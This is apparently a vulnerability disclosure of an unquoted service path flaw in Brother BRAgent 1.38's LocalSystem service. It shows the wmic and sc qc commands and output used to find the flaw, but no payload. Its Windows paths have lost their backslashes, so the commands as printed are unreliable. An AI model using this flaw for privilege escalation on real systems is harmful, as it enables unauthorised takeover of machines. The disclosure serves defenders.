Authored by Brian Rodriguez

Brother BRAgent version 1.38 suffers from an unquoted service path vulnerability.

# Exploit Title: Brother BRAgent 1.38 - 'WBA_Agent_Client' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://brother.com
# Software Link: https://support.brother.com/g/b/downloadhowto.aspx?c=us&lang=en&prod=ads1000w_us&os=10013&dlid=dlf002778_000&flang=4&type3=46
# Tested Version: 1.38
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:windows" |findstr /i /v """
Brother BRAgent WBA_Agent_Client C:Program Files
(x86)BrotherBRAgentBRAgtSrv.exe Auto

C:>sc qc WBA_Agent_Client
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WBA_Agent_Client
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:Program Files
(x86)BrotherBRAgentBRAgtSrv.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Brother BRAgent
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem